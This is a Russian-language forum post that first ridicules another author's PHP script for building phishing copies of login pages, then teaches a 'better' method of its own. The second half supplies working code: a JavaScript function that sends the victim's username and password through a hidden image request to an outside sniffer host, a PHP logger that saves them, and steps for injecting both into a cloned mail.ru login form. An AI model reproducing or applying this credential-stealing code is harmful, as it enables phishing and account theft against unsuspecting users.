Да простит меня автор).
Скриптик жесть....Чисто поржать.
Я такую ***ню давно не встречал. Этож как надо пхп испоганить чтобы такое написать =(. Скрипты подобны тем что пишут киберлорды и у зуклон тимы.
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Меняем post на get, потому что $_SERVER["QUERY_STRING"] кушает тока пост
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
$full_page = str_replace("method=\"POST\"","method=\"get\"",$fu ll_page);
$full_page = str_replace("method='POST'","method='get'",$full_p age);
$full_page = str_replace("method=POST","method=get",$full_page) ;
$full_page = str_replace("method=\"post\"","method=\"get\"",$fu ll_page);
$full_page = str_replace("method='post'","method='get'",$full_p age);
$full_page = str_replace("method=post","method=get",$full_page) ;
Вот тут я начал истерично ржать. А если на сайте, данные доступны тока через пост?
И еще убила замена через str_replace, тут регулярки нужны а не перечисливать десятки вариаций.
@$sss=fsockopen($fakable_host,80)
Строка убийство.
// - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Меняем пути к картинкам (придёца юзать сокет 2-й раз)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Бугога.
if(strpos($match[0],"http://")===false)
Ну тут сделаем вид что все заебись.
or die("Бля ошибка, твои пароли не сохранились");
Конструкцию or die надо 100% юзать, ведь при малейшем глюке, жертва должна видеть ,почему ее пароли не остались у хакера.
$line=ereg_replace($replace, "", $line);
Конечно, когда не нужны регулярки, их надо юзать.
$request .= "Content-Type: application/x-www-form-urlencoded\n";
А зачем это в методе GET?
header("Location: $redirect_to");
Тут вижу целых 2 помарки.
"$var" и вторая, это опять что в скрипте есть вывод текста, а хидер не может быть вызван после того как текст отобразился на экране....И тут будет целый камнепад из ошибок скрипта.
Мое резюме: Скрипт полностью не пригоден по работе, возможность того что он спалится, работает пиздец как медленно, сделать фейк вручную быстрее чем настроить этот скрипт.
Вывод: скрипт надо стереть пока его никто не видел.
Да и работать с ссл надо по отбельной схеме, если я не ошибаюсь.
Ды да.
$sock=fsockopen('mail.ru',80,$errno, $errstr); //http
$sock=fsockopen('ssl://mail.ru',443,$errno, $errstr); //https
Вот и вся разница между http и https.
Для тех кто хочет сделать нормальный фейк, объясняю:
Можно сделать два вида фейка, статичный и динамичный. Статичный вы один раз спиздили с сайта html налепили к себе и довольны. Второй динамичный. Каждый раз вы сокетами пиздете html с сайта и изменяет нужные вам данные.
Чем плох фейк от бузи кодера, тем что нарушается работа и структура исходного кода. Потом идёт редирект впустую.
Смысл нормального фейка ,чтобы минимум произвести изменений в сурсе, абсолютно не нарушая его работы. Чтобы данные отослались сразу куда надо, а не на сниффер.
Сделаем это через javascript.
Создаем два постоянных файла sniff.js и sniff.php
sniff.js // Отсылает даные на снифер
function sniff(p)
{
var img = document.createElement("img");
img.src='http://hack.site.ru/sniff.php?account='+p;
img.style.cssText='display: none';
document.body.appendChild(img);
}
sniff.php // Логер
<?php
$file=fopen('log.txt','w');
fwrite($file,$_GET['account']);
fclose($file);
?>
Всё, с нашими файлами закончено. Они будут пригодня для всех фейков, так что трогать их не надо.
Терь будем изменять сурс фейка.
1) Подключаем наш яваскрипт.
<script type="text/javascript" src="http://hack.site.ru/sniff.js"></script>
2) Меняем исходные ссылки, на ссылки на фейк
<base href="http://mail.ru">
3) На форму добавим обработчик OnSubmit
<form name...bla.bla.bla OnSubmit="sniff(this.username.value+':'+this.passw ord.value);">
Как только юзер сделает отправку данных, создатся пустой объект картинки(невидимый), при запросе этой картинки, и сработает сниффер, а данные полетят куда им надо, т.е. никакого посредничества и разрыва нету.
Всё...фейк готов. Для универсальности, можно в логере, для каждого случая писать новый лог. А в обработчеке форм, пиздить не тока известные поля, а перехватывать содержимое ВСЕХ элементов форумы.
Удачи.